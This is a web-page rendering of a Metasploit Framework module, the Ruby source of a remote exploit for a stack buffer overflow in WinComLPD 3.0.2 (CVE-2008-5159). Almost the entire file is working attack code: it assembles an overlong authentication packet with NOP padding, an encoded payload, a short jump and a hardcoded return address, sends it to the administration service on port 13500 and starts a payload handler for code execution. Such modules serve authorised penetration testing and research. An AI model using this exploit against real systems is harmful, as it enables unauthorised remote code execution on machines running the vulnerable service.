CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lpd/wincomlpd_admin.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'WinComLPD Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
16
By sending an overly long authentication packet to the remote
17
administration service, an attacker may be able to execute arbitrary
18
code.
19
},
20
'Author' => 'MC',
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
['CVE', '2008-5159'],
25
['OSVDB', '42861'],
26
['BID', '27614'],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 600,
35
'BadChars' => "\x00\x0a",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
42
],
43
'Privileged' => true,
44
'DisclosureDate' => '2008-02-04',
45
'DefaultTarget' => 0))
46
47
register_options([Opt::RPORT(13500)], self)
48
end
49
50
def exploit
51
connect
52
53
# 'net start lpdservice' after you migrate!
54
sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
55
sploit << make_nops(872 - payload.encoded.length)
56
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
57
sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
58
sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
59
60
print_status("Trying target #{target.name}...")
61
62
sock.puts(sploit)
63
select(nil,nil,nil,5)
64
65
handler
66
disconnect
67
end
68
end
69
70